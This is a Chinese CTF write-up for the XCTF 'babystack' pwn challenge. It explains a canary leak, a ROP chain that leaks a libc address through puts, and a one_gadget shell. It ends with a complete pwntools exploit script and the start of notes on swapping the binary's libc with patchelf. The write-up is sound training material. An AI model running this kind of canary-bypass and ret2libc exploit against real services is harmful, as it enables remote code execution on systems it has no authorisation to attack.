攻防世界babystack(pwn1)——glibc_all_in_one初体验
攻防世界babystack(pwn1)——glibc_all_in_one初体验
文章目录
- 攻防世界babystack(pwn1)——glibc_all_in_one初体验
- 引入
- 初步分析
- 1、checksec
- 2、伪代码分析
- 3、栈分析
- 解题思路
- 1、泄露canary
- 3、get shell
- exp
- 本地libc运行尝试
- 尝试1
- 尝试2
- 尝试3
- 尝试4(重大进展)
引入
好久没做pwn题了,找了道简单的ret2libc做做,顺便尝试解决一些历史遗留问题 (其实就是让pwn题使用本地的libc的问题,省流:有突破性进展但没有完全解决)
初步分析
1、checksec
没有PIE,i了i了
2、伪代码分析
直接一个大大的溢出read甩我脸上,而且还是无限循环的read,而且有120字节的溢出空间(0x100-136),完全不需要自己费尽心思去构造乱七八糟的利用链,这种题请务必もっともっと!XD
但是,在main函数的最开始部份存在着一条语句v6=__readfsqword(0x28u)
,这条语句的作用就是把canary字段读到栈中,所以这道题我们需要想到绕开或者泄露canary的方法,不然盲目地栈溢出会引起程序 __stack_chk_fail的报错。这里程序正好 提供了一个puts方法,可以供我们泄露canary。
3、栈分析
addr | var |
---|---|
-0x90 | buf |
-0x8 | var_8 |
0x0 | s |
0x8 | r |
栈结构大致如上,其中var_8就是心心念念的canary,可以清楚看见canary以及返回地址都在栈溢出的覆盖范围内。
解题思路
1、泄露canary
由于题目给出了puts方法,所以可以尝试先把buf与canary之间的空间用字符填满,然后使用puts函数将canary输出。但是canary为了防止栈内容泄露,特地把最低位设置为"\x00",以此让输出函数被截断,防止泄露canary及canary后的栈内容。
所以要是想要输出canary的值,需要使用填充字符把canary的最低位覆盖为"\x00"以外的值。又因为程序是小端程序,所以当我们溢出缓冲区一个字节时,溢出的一个字节正好能覆盖到canary的最后一个字节上,此时,canary将被认为是输入的一部分随着填充字符串被puts函数输出出来。
处理后获得canary
因为调用过puts函数,所以puts的gots表地址和puts表地址是已知的,再加上有充足的溢出空间,所以这里还是请出老演员puts函数来把puts函数的libc装载地址泄露出来。
需要注意的是,由于程序为64位程序,所以puts函数的参数需要通过寄存器传递,所以这里还需要找到一个pop rdi; ret;
的小gadget,这里我使用的是ROPgadget工具进行搜索,具体方法不再赘述。
然后就可以开始构造ROP链,具体如下
payload1 = "a" * 0x88 + p64(canary) + "A"* 0x8 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
首先把canary归位,然后覆盖到返回地址,随后将puts函数的GOT表地址弹栈至rdi寄存器,再调用puts函数输出puts函数libc地址,最后返回main函数,实现持续控制。
libc_base=puts_addr-libc.symbols['puts']
3、get shell
因为已经获得了libc基地址,所以现在可以随心所欲地get shell了,一般的方法是构造ROP链,尝试用一大堆gadget构造system(“/bin/sh”)并调用之,这里就不得不推荐一个神器——one_gadget,可以直接一步到位,找到libc里面的getshell语句
这里我们随便选择一个作为getshell的目的地址,构建payload如下
payload2='a'*0x88+p64(canary)+'a'*8+p64(shell)
exp
from pwn import *
from ctypes import *
context(arch='i386',os='linux',log_level = 'debug')sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()def dbg(addr):gdb.attach(p,'b *$rebase({})\nc\n'.format(hex(addr)))#p = remote("111.200.241.244",59449)
p = process('./babystack')
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')getsh_addr = 0x45216
rdi_addr = 0x400a93
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = 0x400908# canary leak
sla('>> ','1')
#pause()
sl('a'*0x84 + "ABCD")
sla('>> ','2')
ru('a'*0x84 + "ABCD")
#pause()
canary=u64(rc(8)[1::].rjust(8,'\x00'))
print hex(canary)# libc leak
payload1 = "a" * 0x88 + p64(canary) + "A"* 0x8 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
sla('>> ','1')
sl(payload1)
pause()
sla('>> ','3')
puts_addr = u64(rc(8).ljust(8,"\x00"))
print hex(puts_addr)# get shell
libc_base=puts_addr-libc.symbols['puts']
shell=libc_base+getsh_addr
p.sendlineafter('>> ','1')
payload2='a'*0x88+p64(canary)+'a'*8+p64(shell)
p.sendline(payload2)p.sendlineafter('>> ','3')
p.interactive()
本地libc运行尝试
因为一直没法打通本地环境,根据网上教程尝试使用patchelf工具对目标程序的默认libc进行更换
尝试1
- 首先是安装了patchelf,然后将目标程序的libc更换成了题目提供的libc,运行报错
攻防世界babystack(pwn1)——glibc_all_in_one初体验相关推荐
- [攻防世界 pwn]——pwn1(内涵peak小知识)
[攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...
- 让vmware世界纤毫毕现——vROPs初体验
1 背景 vROPs是Vmware开发的,面向IT管理员的,集监控.分析.告警等多功能合一的管理平台. 它功能强大,不仅能整合运维自家的多个产品,如vSphere.vSAN.NSX等等,还有不少软硬件 ...
- web安全最亲密的战友Burp Suite—网络攻防常用工具介绍--burp suit工具初体验一
本文是我的免费专栏<网络攻防常用工具介绍>的第一篇文章 磨刀不误砍柴工! 在介绍攻防技术时,突然意识基础工具的使用很容易会被忽略,但是对不熟悉的同学来说,这将会极大影响该领域的学习. 所以 ...
- 攻防世界 Pwn 进阶 第一页
00 要把它跟之前新手区的放在一起总结,先稍稍回顾一下新手区. 攻防世界 Pwn 新手 1.栈溢出,从简单到难,开始有后门函数,到需要自己写函数参数,到最后的ret2libc. 常见漏洞点有read( ...
- 我的Go+语言初体验——go【Format】goplus
欢迎大家参与[我的Go+语言初体验]活动: 活动地址:[https://bbs.csdn.net/topics/603464006?utm_source=1594742339] 前言: goplus的 ...
- Mysql数据库(一)——mysql数据库初体验
Mysql数据库(一)--mysql数据库初体验 一.数据库的概念 1.数据库的组成 ①.表 ②.数据库 2.数据库类型 ①.关系型数据库 ②.非关系型数据库(NoSQL (Not Only SQL) ...
- 香蕉派(or 皮?)上手初体验 -- 外观鉴赏,安装,配置amp;总结
一.前言及简单介绍 听到"派"或者是看到这幅图片.难免让你想到眼下大名鼎鼎的"树莓派". 而香蕉派(Banana Pi. 论坛上也有人称它香蕉皮)是一款国产的比 ...
- java代码初体验_第一次Java 8体验
java代码初体验 像世界其他地方一样,我深深地爱上了Slack. 为什么? 原因很多,但主要的原因是它提供了一种围绕通讯而非工具真正构建SDLC流程的新方法. 您认为这些天哪个更常见,杂乱无章的机智 ...
- 免费WiFi初体验——个小白的WiFi旅程
说来羞愧,真正接触到WiFi还是在毕业后,此前自己封闭在一个人的世界,再加上外在学校的包围,我还成了个"山里"的孩子. 去年毕业了,也算是个90后,可自觉得心态过于成熟.了解外界太 ...
最新文章
- mysql 主从有哪几种模式_mysql 主从模式总结(一)
- Android爬坑之旅:软键盘挡住输入框问题的终极解决方式
- python timer使用-Python timer定时器两种常用方法解析
- 【发布】温度监测报警器v1.2a内测版!
- 什么是 TCC分布式事务
- 简单的对象定位与登录实例的简单操作
- 计算机图形学——阴影
- 雷军发布会罕见爆粗口:这XXX绝对是来捣乱的!
- codevs1085数字游戏(环形DP+划分DP )
- 网络编程技术(技术总结)
- 透视投影中3DMM系数的求解
- Vijos P1304回文数
- LC-3 汇编语言 指令集
- 安卓逆向 -- Xposed模块编写
- cesium获取当前层级
- 网页三栏布局常用方法
- [AcWing] 905. 区间选点(C++实现)贪心---区间问题例题
- Kafka触发Rebalance的场景分析
- 九宫格拼图游戏设计,及代码时序问题解决
- sklearn_feature_selection
热门文章
- 蓝牙耳机怎么连接电脑使用,win10电脑如何连接蓝牙耳机
- 保姆级教程:Linux(Ubuntu 18.04)下VSCode配置与嵌入式开发平台X2000_Halley5调试环境搭建
- linux 内核调试指南
- 使用 PyTorch 进行深度学习-训练分类器
- DIV布局——粉色的鲜花礼品电商(4页) HTML+CSS+JavaScript 学生网上商城网页设计作业成品 web课程设计网页规划与设计 计算机毕设网页设计源码
- 关于一个非寿险费率厘定例子的学习笔记
- DataComPy 超级好用的,用于比较两个Pandas DataFrame的程序包
- WPF 实现Circle控件(原Arc控件和Pie控件的合并版)
- 数据仓库搭建DWD层
- 网站流量到底是怎么来的?
- [攻防世界 pwn]——pwn1(内涵peak小知识)